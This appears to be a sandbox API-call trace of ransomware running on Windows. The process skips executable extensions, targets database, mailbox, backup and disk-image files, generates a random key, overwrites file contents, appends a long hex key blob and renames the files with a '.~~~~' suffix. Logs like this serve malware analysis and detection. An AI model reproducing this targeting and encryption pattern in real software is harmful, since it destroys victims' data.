	[0134.771] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT", lpSrch=".cmd") returned 0x0
	[0134.771] lstrlenW (lpString=".dll") returned 4
	[0134.771] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT", lpSrch=".dll") returned 0x0
	[0134.771] lstrlenW (lpString=".bat") returned 4
	[0134.771] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT", lpSrch=".bat") returned 0x0
	[0134.771] lstrlenW (lpString=".cpl") returned 4
	[0134.771] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT", lpSrch=".cpl") returned 0x0
	[0134.771] lstrlenW (lpString=".sys") returned 4
	[0134.771] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT", lpSrch=".sys") returned 0x0
	[0134.772] lstrlenW (lpString=".msc") returned 4
	[0134.772] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT", lpSrch=".msc") returned 0x0
	[0134.772] lstrlenW (lpString=".com") returned 4
	[0134.772] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT", lpSrch=".com") returned 0x0
	[0134.772] lstrlenW (lpString=".lnk") returned 4
	[0134.772] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT", lpSrch=".lnk") returned 0x0
	[0134.772] lstrlenW (lpString=".msp") returned 4
	[0134.772] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT", lpSrch=".msp") returned 0x0
	[0134.772] lstrlenW (lpString=".pif") returned 4
	[0134.772] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT", lpSrch=".pif") returned 0x0
	[0134.772] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0134.772] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT", lpSrch="msp\r\n.pif") returned 0x0
	[0134.772] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x140
	[0134.774] lstrlenW (lpString=".sqb") returned 4
	[0134.774] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT", lpSrch=".sqb") returned 0x0
	[0134.774] lstrlenW (lpString=".ost") returned 4
	[0134.774] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT", lpSrch=".ost") returned 0x0
	[0134.774] lstrlenW (lpString=".txt") returned 4
	[0134.774] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT", lpSrch=".txt") returned 0x0
	[0134.774] lstrlenW (lpString=".mdt") returned 4
	[0134.774] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT", lpSrch=".mdt") returned 0x0
	[0134.774] lstrlenW (lpString=".BDB") returned 4
	[0134.774] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT", lpSrch=".BDB") returned 0x0
	[0134.774] lstrlenW (lpString=".eql") returned 4
	[0134.774] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT", lpSrch=".eql") returned 0x0
	[0134.774] lstrlenW (lpString=".DBF") returned 4
	[0134.774] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT", lpSrch=".DBF") returned 0x0
	[0134.774] lstrlenW (lpString=".EQL") returned 4
	[0134.774] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT", lpSrch=".EQL") returned 0x0
	[0134.775] lstrlenW (lpString=".FDB") returned 4
	[0134.775] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT", lpSrch=".FDB") returned 0x0
	[0134.775] lstrlenW (lpString=".EDB") returned 4
	[0134.775] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT", lpSrch=".EDB") returned 0x0
	[0134.775] lstrlenW (lpString=".DACPAC") returned 7
	[0134.775] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT", lpSrch=".DACPAC") returned 0x0
	[0134.775] lstrlenW (lpString=".VHD") returned 4
	[0134.775] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT", lpSrch=".VHD") returned 0x0
	[0134.775] lstrlenW (lpString=".DBV") returned 4
	[0134.775] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT", lpSrch=".DBV") returned 0x0
	[0134.775] lstrlenW (lpString=".dacpac") returned 7
	[0134.775] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT", lpSrch=".dacpac") returned 0x0
	[0134.775] lstrlenW (lpString=".sdf") returned 4
	[0134.775] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT", lpSrch=".sdf") returned 0x0
	[0134.775] lstrlenW (lpString=".accdb") returned 6
	[0134.775] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT", lpSrch=".accdb") returned 0x0
	[0134.775] lstrlenW (lpString=".DBX") returned 4
	[0134.775] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT", lpSrch=".DBX") returned 0x0
	[0134.775] lstrlenW (lpString=".MDT") returned 4
	[0134.775] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT", lpSrch=".MDT") returned 0x0
	[0134.775] lstrlenW (lpString=".SQB") returned 4
	[0134.775] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT", lpSrch=".SQB") returned 0x0
	[0134.775] lstrlenW (lpString=".vhd") returned 4
	[0134.775] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT", lpSrch=".vhd") returned 0x0
	[0134.775] lstrlenW (lpString=".bac") returned 4
	[0134.775] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT", lpSrch=".bac") returned 0x0
	[0134.776] lstrlenW (lpString=".mdf") returned 4
	[0134.776] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT", lpSrch=".mdf") returned 0x0
	[0134.776] lstrlenW (lpString=".BAK") returned 4
	[0134.776] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT", lpSrch=".BAK") returned 0x0
	[0134.776] lstrlenW (lpString=".BAC") returned 4
	[0134.776] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT", lpSrch=".BAC") returned 0x0
	[0134.776] lstrlenW (lpString=".dbs") returned 4
	[0134.776] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT", lpSrch=".dbs") returned 0x0
	[0134.776] lstrlenW (lpString=".vhdx") returned 5
	[0134.776] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT", lpSrch=".vhdx") returned 0x0
	[0134.776] lstrlenW (lpString=".NDF") returned 4
	[0134.776] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT", lpSrch=".NDF") returned 0x0
	[0134.776] lstrlenW (lpString=".dat") returned 4
	[0134.776] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT", lpSrch=".dat") returned 0x0
	[0134.776] lstrlenW (lpString=".DBS") returned 4
	[0134.776] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT", lpSrch=".DBS") returned 0x0
	[0134.776] lstrlenW (lpString=".CKP") returned 4
	[0134.776] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT", lpSrch=".CKP") returned 0x0
	[0134.776] lstrlenW (lpString=".edb") returned 4
	[0134.776] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT", lpSrch=".edb") returned 0x0
	[0134.776] lstrlenW (lpString=".PST") returned 4
	[0134.776] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT", lpSrch=".PST") returned 0x0
	[0134.776] lstrlenW (lpString=".dbf") returned 4
	[0134.776] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT", lpSrch=".dbf") returned 0x0
	[0134.776] lstrlenW (lpString=".SQL") returned 4
	[0134.776] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT", lpSrch=".SQL") returned 0x0
	[0134.776] lstrlenW (lpString=".pst") returned 4
	[0134.777] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT", lpSrch=".pst") returned 0x0
	[0134.777] lstrlenW (lpString=".dbv") returned 4
	[0134.777] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT", lpSrch=".dbv") returned 0x0
	[0134.777] lstrlenW (lpString=".SDF") returned 4
	[0134.777] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT", lpSrch=".SDF") returned 0x0
	[0134.777] lstrlenW (lpString=".dtxs") returned 5
	[0134.777] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT", lpSrch=".dtxs") returned 0x0
	[0134.777] lstrlenW (lpString=".db3") returned 4
	[0134.777] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT", lpSrch=".db3") returned 0x0
	[0134.777] lstrlenW (lpString=".OST") returned 4
	[0134.777] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT", lpSrch=".OST") returned 0x0
	[0134.777] lstrlenW (lpString=".dbx") returned 4
	[0134.777] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT", lpSrch=".dbx") returned 0x0
	[0134.777] lstrlenW (lpString=".DB3") returned 4
	[0134.777] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT", lpSrch=".DB3") returned 0x0
	[0134.777] lstrlenW (lpString=".DAT") returned 4
	[0134.777] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT", lpSrch=".DAT") returned 0x0
	[0134.777] lstrlenW (lpString=".VHDX") returned 5
	[0134.777] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT", lpSrch=".VHDX") returned 0x0
	[0134.777] lstrlenW (lpString=".ndf") returned 4
	[0134.777] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT", lpSrch=".ndf") returned 0x0
	[0134.777] lstrlenW (lpString=".DB") returned 3
	[0134.777] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT", lpSrch=".DB") returned 0x0
	[0134.777] lstrlenW (lpString=".sql") returned 4
	[0134.778] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT", lpSrch=".sql") returned 0x0
	[0134.778] lstrlenW (lpString=".MYD") returned 4
	[0134.778] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT", lpSrch=".MYD") returned 0x0
	[0134.778] lstrlenW (lpString=".DBT") returned 4
	[0134.778] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT", lpSrch=".DBT") returned 0x0
	[0134.778] lstrlenW (lpString=".ACCDB") returned 6
	[0134.778] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT", lpSrch=".ACCDB") returned 0x0
	[0134.778] lstrlenW (lpString=".fdb") returned 4
	[0134.778] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT", lpSrch=".fdb") returned 0x0
	[0134.778] lstrlenW (lpString=".bak") returned 4
	[0134.778] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT", lpSrch=".bak") returned 0x0
	[0134.778] lstrlenW (lpString=".myd") returned 4
	[0134.778] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT", lpSrch=".myd") returned 0x0
	[0134.778] lstrlenW (lpString=".DTXS") returned 5
	[0134.778] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT", lpSrch=".DTXS") returned 0x0
	[0134.778] lstrlenW (lpString=".ckp") returned 4
	[0134.778] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT", lpSrch=".ckp") returned 0x0
	[0134.778] lstrlenW (lpString=".dbt") returned 4
	[0134.778] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT", lpSrch=".dbt") returned 0x0
	[0134.778] lstrlenW (lpString=".db") returned 3
	[0134.778] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT", lpSrch=".db") returned 0x0
	[0134.778] lstrlenW (lpString=".TXT") returned 4
	[0134.778] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT", lpSrch=".TXT") returned 0x0
	[0134.778] lstrlenW (lpString=".MDF") returned 4
	[0134.778] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT", lpSrch=".MDF") returned 0x0
	[0134.778] lstrlenW (lpString=".bdb") returned 4
	[0134.779] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT", lpSrch=".bdb") returned 0x0
	[0134.779] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0134.779] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0134.779] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29061a8
	[0134.779] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362bd0
	[0134.779] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0840) returned 1
	[0134.780] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0134.780] CryptReleaseContext (hProv=0x3a0840, dwFlags=0x0) returned 1
	[0134.780] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0134.780] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b70
	[0134.780] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0134.780] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=25477039277) returned 1
	[0134.780] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb9c7c870, dwHighDateTime=0x1d60e1e)) 
	[0134.780] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0134.780] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0134.781] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x356f78
	[0134.781] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x38cc40
	[0134.781] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0134.781] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38cc40 | out: hHeap=0x300000) returned 1
	[0134.781] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0134.781] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0134.781] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0134.781] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0134.781] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c5080
	[0134.781] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0134.781] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0134.781] GetLastError () returned 0x0
	[0134.782] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0134.782] GetLastError () returned 0x0
	[0134.783] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xffffff32, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0134.783] WriteFile (in: hFile=0x140, lpBuffer=0x2a840c8*, nNumberOfBytesToWrite=0xce, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a840c8*, lpNumberOfBytesWritten=0x1f8fec0*=0xce, lpOverlapped=0x0) returned 1
	[0134.784] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a840c8 | out: hHeap=0x300000) returned 1
	[0134.784] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0134.784] WriteFile (in: hFile=0x140, lpBuffer=0x368b70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b70*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0134.784] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0134.784] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0134.784] CloseHandle (hObject=0x140) returned 1
	[0134.784] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c5080
	[0134.784] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_col.hxt"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_col.hxt.~~~~")) returned 1
	[0134.787] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3c5080 | out: hHeap=0x300000) returned 1
	[0134.787] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x356f78 | out: hHeap=0x300000) returned 1
	[0134.787] GetLastError () returned 0x0
	[0134.788] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK", lpSrch=".scr") returned 0x0
	[0134.788] lstrlenW (lpString=".cmd") returned 4
	[0134.788] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK", lpSrch=".cmd") returned 0x0
	[0134.788] lstrlenW (lpString=".dll") returned 4
	[0134.788] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK", lpSrch=".dll") returned 0x0
	[0134.788] lstrlenW (lpString=".bat") returned 4
	[0134.788] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK", lpSrch=".bat") returned 0x0
	[0134.788] lstrlenW (lpString=".cpl") returned 4
	[0134.788] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK", lpSrch=".cpl") returned 0x0
	[0134.788] lstrlenW (lpString=".sys") returned 4
	[0134.788] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK", lpSrch=".sys") returned 0x0
	[0134.788] lstrlenW (lpString=".msc") returned 4
	[0134.788] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK", lpSrch=".msc") returned 0x0
	[0134.788] lstrlenW (lpString=".com") returned 4
	[0134.788] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK", lpSrch=".com") returned 0x0
	[0134.788] lstrlenW (lpString=".lnk") returned 4
	[0134.788] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK", lpSrch=".lnk") returned 0x0
	[0134.788] lstrlenW (lpString=".msp") returned 4
	[0134.788] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK", lpSrch=".msp") returned 0x0
	[0134.789] lstrlenW (lpString=".pif") returned 4
	[0134.789] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK", lpSrch=".pif") returned 0x0
	[0134.789] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0134.789] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK", lpSrch="msp\r\n.pif") returned 0x0
	[0134.789] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x140
	[0134.791] lstrlenW (lpString=".sqb") returned 4
	[0134.791] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK", lpSrch=".sqb") returned 0x0
	[0134.791] lstrlenW (lpString=".ost") returned 4
	[0134.791] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK", lpSrch=".ost") returned 0x0
	[0134.791] lstrlenW (lpString=".txt") returned 4
	[0134.791] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK", lpSrch=".txt") returned 0x0
	[0134.791] lstrlenW (lpString=".mdt") returned 4
	[0134.791] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK", lpSrch=".mdt") returned 0x0
	[0134.791] lstrlenW (lpString=".BDB") returned 4
	[0134.791] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK", lpSrch=".BDB") returned 0x0
	[0134.791] lstrlenW (lpString=".eql") returned 4
	[0134.791] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK", lpSrch=".eql") returned 0x0
	[0134.791] lstrlenW (lpString=".DBF") returned 4
	[0134.791] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK", lpSrch=".DBF") returned 0x0
	[0134.791] lstrlenW (lpString=".EQL") returned 4
	[0134.791] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK", lpSrch=".EQL") returned 0x0
	[0134.791] lstrlenW (lpString=".FDB") returned 4
	[0134.791] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK", lpSrch=".FDB") returned 0x0
	[0134.792] lstrlenW (lpString=".EDB") returned 4
	[0134.792] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK", lpSrch=".EDB") returned 0x0
	[0134.792] lstrlenW (lpString=".DACPAC") returned 7
	[0134.792] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK", lpSrch=".DACPAC") returned 0x0
	[0134.792] lstrlenW (lpString=".VHD") returned 4
	[0134.792] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK", lpSrch=".VHD") returned 0x0
	[0134.792] lstrlenW (lpString=".DBV") returned 4
	[0134.792] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK", lpSrch=".DBV") returned 0x0
	[0134.792] lstrlenW (lpString=".dacpac") returned 7
	[0134.792] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK", lpSrch=".dacpac") returned 0x0
	[0134.792] lstrlenW (lpString=".sdf") returned 4
	[0134.792] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK", lpSrch=".sdf") returned 0x0
	[0134.792] lstrlenW (lpString=".accdb") returned 6
	[0134.792] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK", lpSrch=".accdb") returned 0x0
	[0134.792] lstrlenW (lpString=".DBX") returned 4
